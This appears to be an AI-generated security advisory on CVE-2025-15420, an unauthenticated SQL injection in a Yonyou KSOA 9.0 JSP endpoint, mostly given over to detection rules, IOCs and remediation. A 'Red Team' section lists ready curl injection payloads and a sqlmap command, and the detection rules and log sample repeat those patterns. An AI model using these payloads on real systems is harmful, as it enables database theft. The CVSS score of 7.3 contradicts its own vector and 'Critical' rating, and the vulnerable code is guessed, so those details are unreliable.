CVE-2025-15420

Executive Summary

CVE-2025-15420 is a critical SQL injection vulnerability affecting Yonyou KSOA 9.0, a widely used enterprise resource planning (ERP) and office automation suite. The flaw resides in the /worksheet/agent_work_report.jsp endpoint, where the ID parameter is not sanitized before being used in a database query. An unauthenticated attacker can exploit this remotely to execute arbitrary SQL commands, potentially leading to data exfiltration, credential theft, or full database compromise. The vendor has been unresponsive, and no official patch exists. Public proof-of-concept (PoC) code is available, increasing the risk of active exploitation.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a server-side Java application vulnerability in a proprietary ERP system. However, organizations using Yonyou KSOA should treat this as a critical supply chain risk due to the lack of vendor support.

CVSS Breakdown & Threat Level

• CVSS Score: 7.3 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – The vulnerable component is the database.
• Confidentiality Impact: High (C:H) – Full database read access.
• Integrity Impact: High (I:H) – Data can be modified or deleted.
• Availability Impact: High (A:H) – Database can be disrupted or destroyed.

Threat Level: Critical. The combination of public exploit, unauthenticated remote access, and no patch makes this a high-priority target for threat actors.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in the ID parameter of the JSP page /worksheet/agent_work_report.jsp. The application likely constructs a SQL query by directly concatenating user input without parameterization or escaping. For example:

SELECT * FROM agent_work_report WHERE id = 'USER_INPUT'

An attacker can inject a single quote (') to break out of the string context and append malicious SQL. The injection point is likely in a WHERE clause, allowing UNION-based or error-based extraction of data.

Attack Flow:

1. Attacker sends a crafted HTTP GET request to the vulnerable endpoint.
2. The ID parameter is passed unsanitized into a SQL query.
3. The attacker uses SQL injection techniques (e.g., UNION SELECT, OR 1=1) to retrieve data from other tables, such as user credentials or configuration data.
4. The database returns the injected data in the HTTP response, enabling data exfiltration.

Why It Works: The application does not use prepared statements or stored procedures. Input validation is absent, and the database user likely has elevated privileges (e.g., sa in SQL Server or root in MySQL).

Vulnerable vs. Patched Code

Since no official patch exists, the following shows the vulnerable code pattern and a recommended fix.

Vulnerable Code (Java/JSP):

<%
String id = request.getParameter("ID");
String query = "SELECT * FROM agent_work_report WHERE id = '" + id + "'";
Statement stmt = connection.createStatement();
ResultSet rs = stmt.executeQuery(query);
%>

Patched Code (Recommended):

<%
String id = request.getParameter("ID");
String query = "SELECT * FROM agent_work_report WHERE id = ?";
PreparedStatement pstmt = connection.prepareStatement(query);
pstmt.setString(1, id);
ResultSet rs = pstmt.executeQuery();
%>

The fix uses parameterized queries (PreparedStatement) to ensure user input is treated as data, not executable code. Additionally, input validation (e.g., whitelisting numeric IDs) should be implemented.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Target running Yonyou KSOA 9.0 with the vulnerable endpoint accessible.
• No authentication required.

Exploit (Manual):

# Basic boolean-based injection to confirm vulnerability
curl "http://target.com/worksheet/agent_work_report.jsp?ID=1' AND '1'='1"
curl "http://target.com/worksheet/agent_work_report.jsp?ID=1' AND '1'='2"
# If the first returns a valid page and the second returns an error or different content, the injection is confirmed.

# UNION-based extraction (example for MySQL)
curl "http://target.com/worksheet/agent_work_report.jsp?ID=1' UNION SELECT 1,2,3,4,5,6,7,8,9,10-- -"
# Adjust column count based on error messages.

# Extract database version
curl "http://target.com/worksheet/agent_work_report.jsp?ID=1' UNION SELECT 1,@@version,3,4,5,6,7,8,9,10-- -"

Automated Exploitation (sqlmap):

sqlmap -u "http://target.com/worksheet/agent_work_report.jsp?ID=1" --batch --dbs

Lab Setup:

• Use a Docker container with Yonyou KSOA 9.0 (if available) or simulate with a vulnerable Java web app.
• Deploy a MySQL/MSSQL database with dummy data.
• Expose the /worksheet/agent_work_report.jsp endpoint.

Blue Team (Defensive)

Detection:

• Monitor for SQL injection patterns in web logs (e.g., ' OR, UNION, --).
• Deploy a Web Application Firewall (WAF) with rules to block SQLi.
• Use the Sigma and Suricata rules provided in the Detection Engineering section.

Hunting:

• Search for anomalous database queries originating from the web server.
• Look for outbound data transfers from the database server to external IPs.

Containment:

• If exploitation is suspected, isolate the affected server immediately.
• Review database logs for unauthorized queries.
• Rotate all credentials stored in the database.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests to /worksheet/agent_work_report.jsp containing SQL keywords in the ID parameter.
• Outbound connections from the database server to unknown IPs on non-standard ports.

File IOCs:

• Modified JSP files (if attacker uploaded a webshell).
• Suspicious files in the web root (e.g., cmd.jsp, shell.jsp).

Log IOCs:

• Web server logs showing repeated 400 or 500 errors on the vulnerable endpoint.
• Database logs showing UNION SELECT or OR 1=1 statements.

Example Log Entry (Apache):

192.168.1.100 - - [10/Mar/2025:12:34:56 +0000] "GET /worksheet/agent_work_report.jsp?ID=1' UNION SELECT 1,2,3,4,5,6,7,8,9,10-- - HTTP/1.1" 200 5432

Detection Engineering

YARA Rule

rule CVE_2025_15420_SQLi_Detection {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2025-15420 in Yonyou KSOA"
        author = "Valters IT"
        date = "2025-03-10"
        reference = "CVE-2025-15420"
    strings:
        $sqli1 = "agent_work_report.jsp?ID=" nocase
        $sqli2 = "' OR " nocase
        $sqli3 = "' UNION " nocase
        $sqli4 = "' AND " nocase
        $sqli5 = "-- -" nocase
    condition:
        any of ($sqli*) and #sqli1 > 0
}

Sigma Rule

title: SQL Injection Attempt Against Yonyou KSOA (CVE-2025-15420)
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects SQL injection patterns in HTTP requests to the vulnerable endpoint
author: Valters IT
date: 2025-03-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains:
            - "agent_work_report.jsp?ID="
            - "' OR "
            - "' UNION "
            - "' AND "
            - "-- -"
    condition: selection
falsepositives:
    - Legitimate use of single quotes in ID parameter (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-15420 SQL Injection Attempt"; flow:to_server,established; content:"agent_work_report.jsp?ID="; nocase; content:"'"; distance:0; within:100; pcre:"/(\x27OR|\x27UNION|\x27AND)/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the System: If possible, take the vulnerable server offline or restrict network access to trusted IPs only.
2. Apply Virtual Patching: Use a WAF to block SQLi patterns targeting the /worksheet/agent_work_report.jsp endpoint.
3. Disable the Endpoint: If the functionality is not critical, remove or rename the JSP file.

Long-Term Fix:

• Since the vendor is unresponsive, the organization must develop an internal patch:
  • Replace all dynamic SQL queries with parameterized statements.
  • Implement strict input validation (e.g., only allow numeric IDs).
  • Apply the principle of least privilege to the database user.
• Consider migrating to a supported ERP solution.

Compromise Assessment:

• Assume the system is compromised if exploitation is suspected.
• Perform a full forensic analysis of the web server and database.
• Reset all credentials and review user accounts for unauthorized changes.

Valters IT Signature This report was generated by Valters IT DevSecOps AI. All information is provided for authorized security testing and defensive purposes only. Unauthorized exploitation of this vulnerability is illegal.